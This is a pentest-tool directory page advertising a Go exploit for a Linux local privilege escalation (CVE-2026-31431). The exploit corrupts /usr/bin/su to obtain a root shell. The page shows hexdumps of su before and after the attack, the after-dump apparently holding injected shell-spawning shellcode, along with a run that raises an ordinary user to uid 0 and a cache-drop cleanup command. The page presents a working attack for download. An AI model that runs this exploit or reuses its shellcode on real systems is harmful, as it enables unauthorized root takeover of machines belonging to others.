Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
copy-fail-go — Go-based exploit for CVE-2026-31431, a local privilege escalation vulnerability, that modifies /usr/bin/su to gain root access on Linux distributions. | Kitploit
Tools/GitHubGitHub/cs8425/copy-fail-go
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationBinary Exploitation
GitHubcs8425/copy-fail-go

copy-fail-go

Go-based exploit for CVE-2026-31431, a local privilege escalation vulnerability, that modifies /usr/bin/su to gain root access on Linux distributions.

View Repository
223 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Copy Fail - CVE-2026-31431 - golang version

⚠️ WARNING: This program is highly dangerous and experimental. Manual cleanup is required to clear the exploit. Use at your own risk!

Technical Writeup

original repo

run

check /usr/bin/su before run:

root@kitploit:~
user@pc:~$ hexdump -n 300 -x /usr/bin/su
0000000    457f    464c    0102    0001    0000    0000    0000    0000
0000010    0003    003e    0001    0000    44d0    0000    0000    0000
0000020    0040    0000    0000    0000    d1c0    0000    0000    0000
0000030    0000    0000    0040    0038    000d    0040    001f    001e
0000040    0006    0000    0004    0000    0040    0000    0000    0000
0000050    0040    0000    0000    0000    0040    0000    0000    0000
0000060    02d8    0000    0000    0000    02d8    0000    0000    0000
0000070    0008    0000    0000    0000    0003    0000    0004    0000
0000080    0318    0000    0000    0000    0318    0000    0000    0000
0000090    0318    0000    0000    0000    001c    0000    0000    0000
00000a0    001c    0000    0000    0000    0001    0000    0000    0000
00000b0    0001    0000    0004    0000    0000    0000    0000    0000
00000c0    0000    0000    0000    0000    0000    0000    0000    0000
00000d0    2608    0000    0000    0000    2608    0000    0000    0000
00000e0    1000    0000    0000    0000    0001    0000    0005    0000
00000f0    3000    0000    0000    0000    3000    0000    0000    0000
0000100    3000    0000    0000    0000    6eb1    0000    0000    0000
0000110    6eb1    0000    0000    0000    1000    0000    0000    0000
0000120    0001    0000    0004    0000    a000    0000                
000012c

run exp.go:

root@kitploit:~
user@pc:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),132(lxd),133(sambashare),135(docker)
user@pc:~$ go run exp.go
# id
uid=0(root) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),132(lxd),133(sambashare),135(docker)
# 

check /usr/bin/su after run:

root@kitploit:~
user@pc:~$ hexdump -n 300 -x /usr/bin/su
0000000    457f    464c    0102    0001    0000    0000    0000    0000
0000010    0002    003e    0001    0000    0078    0040    0000    0000
0000020    0040    0000    0000    0000    0000    0000    0000    0000
0000030    0000    0000    0040    0038    0001    0000    0000    0000
0000040    0001    0000    0005    0000    0000    0000    0000    0000
0000050    0000    0040    0000    0000    0000    0040    0000    0000
0000060    009e    0000    0000    0000    009e    0000    0000    0000
0000070    1000    0000    0000    0000    c031    ff31    69b0    050f
0000080    8d48    0f3d    0000    3100    6af6    583b    0f99    3105
0000090    6aff    583c    050f    622f    6e69    732f    0068    0000
00000a0    001c    0000    0000    0000    0001    0000    0000    0000
00000b0    0001    0000    0004    0000    0000    0000    0000    0000
00000c0    0000    0000    0000    0000    0000    0000    0000    0000
00000d0    2608    0000    0000    0000    2608    0000    0000    0000
00000e0    1000    0000    0000    0000    0001    0000    0005    0000
00000f0    3000    0000    0000    0000    3000    0000    0000    0000
0000100    3000    0000    0000    0000    6eb1    0000    0000    0000
0000110    6eb1    0000    0000    0000    1000    0000    0000    0000
0000120    0001    0000    0004    0000    a000    0000                
000012c

restore

need root permission, or reboot

root@kitploit:~
root@pc:~# echo 3 > /proc/sys/vm/drop_caches
Download Tool